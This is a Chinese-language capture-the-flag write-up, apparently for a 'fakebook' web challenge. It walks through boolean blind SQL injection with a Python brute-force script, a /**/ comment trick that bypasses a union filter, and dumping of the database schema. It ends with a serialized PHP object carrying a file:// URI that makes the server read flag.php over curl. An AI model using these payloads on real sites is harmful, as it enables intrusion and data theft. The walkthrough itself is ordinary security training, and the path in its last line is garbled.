进去页面发现有个登陆和注册,先注册了个账号,登陆后发现url有个no的get参数=1,猜测存在sql注入,构建语句1 and 1=1,页面返回正常,确认存在sql注入。构建语句错误,返回页面。
数据库为MariaDB,属于mysql的一种。
尝试union联合发现语句报错,被过滤了无法使用,但是有报错回显,可以使用基于报错的bool盲注。
先使用length爆数据库名字长度
exp
for i in range(100): #爆数据库名字长度
sql_length = "1 and length(database())="+str(i) #查询的payload
no = {'no':sql_length} #参数
res = requests.get(url=url, headers=head, params=no) # 发起get请求
if re.findall("admin",res.text): #匹配是否找到
db_len=i
print("名字长度:",db_len)
break
查询后得知数据库名字长度为8
知道长度后爆数据库名,利用substr()函数
substr(strings|express,m,[n])
strings|express :被截取的字符串或字符串表达式
m 从第m个字符开始截取
n 截取后字符串长度为n
exp
for i in range(1,db_len+1):
for j in dic:
sql_dbname = "1 and substr(database(),"+str(i)+",1)="+"\'"+j+"\'"
no = {'no': sql_dbname} # 参数
res = requests.get(url=url, headers=head, params=no) # 发起get请求
if re.findall("admin", res.text): # 匹配是否找到
db_name = db_name + j
break
print("数据库名:",db_name)
爆表名的时候,查表的个数的时候寄了,看了别的大佬的wp,发现这里可以用//union//绕过然后联合查询。之前知道了数据库名字这里直接用information_schema表查表名。
构建payload:
1 and 1=2 /**/union/**/ select 1,group_concat(table_name),2,3 from information_schema.tables where table_schema='fakebook'
1 and 1=2 /**/union/**/ select 1,group_concat(column_name),2,3 from information_schema.columns where table_name='users'
1 and 1=2 /**/union/**/ select 1,data,2,3 from users
找到一个序列化的式子,通过这里我们可以知道数据在数据库里是序列化后存储的,以为只是注入,没想到还有序列化,果然还是我想的太简单了。
御剑扫后台发现了flag.php,robots.txt.先看以下flag.php
存在文件但是看不到内容,再看看robots.txt
又找到了一个文件,查看
下载了一个文本。
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
代码审计发现,这里使用了cuit_init()用来初始化一个curl会话,而curl可以使用file伪协议读取文件。
结合我们所得到的信息,flag应该在flag.php的源码中,但是flag.php对我们传入了序列化后的参数,这里应该要用到file:\伪协议读取flag.php的源码信息。利用下载的代码信息,得到序列化后的参数信息,最终通过sql注入来读取到flag的信息。
class UserInfo
{
public $name = "1";
public $age = 1;
public $blog = "file:///var/www/html/flag.php";
}
$x = new UserInfo;
echo serialize($x);
运行得到序列化后的参数:
O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
构建最终payload:
1 and 1=2 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看源代码
得到了base64加密的flag文件解密后得到
成功得到flag
本来以为是暴力跑数据库,没想到绕union,结果整半天给自己整寄了,还是太菜了,哭。没有全部信息先查看,结果弄得忙手忙脚,最后整了半天,才发现是通过注入发现数据库存储的信息经过了序列化,然后构造序列化的file伪协议读取文件,最后通过sql注入查询出来的就是反序列化后的信息file:\\var\html\www]flag.php。寄!